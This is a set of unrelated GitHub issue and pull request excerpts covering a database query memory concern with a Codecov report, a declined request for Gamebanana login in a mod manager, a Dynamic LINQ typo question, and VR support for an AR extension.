Improvement for #19598

hmm... I think we might be better off changing the SELECT so as to not extrac any of the repo fields from the db in the first place: There's likely to be a duplication of a lot of repo data this could cause a significant increase in memory use.
(TBH we should be extracting the last update time from the repo and using caching to get a copy of the latest version.)

Codecov Report

:exclamation: No coverage uploaded for pull request base (main@d483407). Click here to learn what that means.
The diff coverage is 91.66%.

@@           Coverage Diff           @@
##             main   #19632   +/-   ##
=======================================
  Coverage        ?   47.36%
=======================================
  Files           ?      957
  Lines           ?   133415
  Branches        ?        0
=======================================
  Hits            ?    63196
  Misses          ?    62587
  Partials        ?     7632

Impacted Files
Coverage Δ

models/action.go
49.24% <85.71%> (ø)

models/action_list.go
64.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d483407...4a45c71. Read the comment docs.


(Suggestion) Allow signing into Gamebanana to get mods marked as questionable/nsfw

I really like the Gamebanana browser of the app, however it doesn't allow one to log in which can allow people to show other mods marked as NSFW or similar markings that cause it to disappear during guest view.

I don't stand for anything NSFW, so you'll have to fork and implement this yourself. Anything to do with this subject will not be associated with TKMM while I am part of the project.
If you want to do this, you can use the website. (For extra convenience you can drag the URL over TKMM to install the mod like you would from the GB browser.)


How to query complex entities

public role {
  public string id{get;set;}
  public string name{get;set;}
}

public roleClaims{
  public string id{get;set;}
  public string roleid{get;set;}
  public role  role{get;set;}
}

How to  select ?
I need to choose. role.name
I do it like this:
Context.Set<roleClaims>().Select("new{ id, roel.name}")   but  this is error！
What should I do?

This should work?
Context.Set<roleClaims>().Select("new{ id, role.name}")
Can you post the error message?

Maybe it's just the typo in the code? If it was copy pasted, then the only error might be the typo in the role.name as mentioned by StefH

Context.Set<roleClaims>().Select("new{ id, roel.name}")

Closing...
If you still have issues, comment here or open a new issue.


Minor improvements to AR and Clipping & Blending

@Xeltalliv  it could also be used on Vr headsets like Oculus quest.

https://github.com/Xeltalliv/extensions/blob/acea6eb99067ac488320225c7fcb8e77a3c82b0a/docs/ar.md?plain=1#L5
I had to specify that it's mobile devices only, because while it technically launches on headsets, it's not actually usable on them, because it lacks the blocks required to figure out where to render 2 images for 2 eyes, even though internally it gets those values. It outputs all of the camera vlues for only the first eye (which in mobile AR there is only 1, so it's fine there).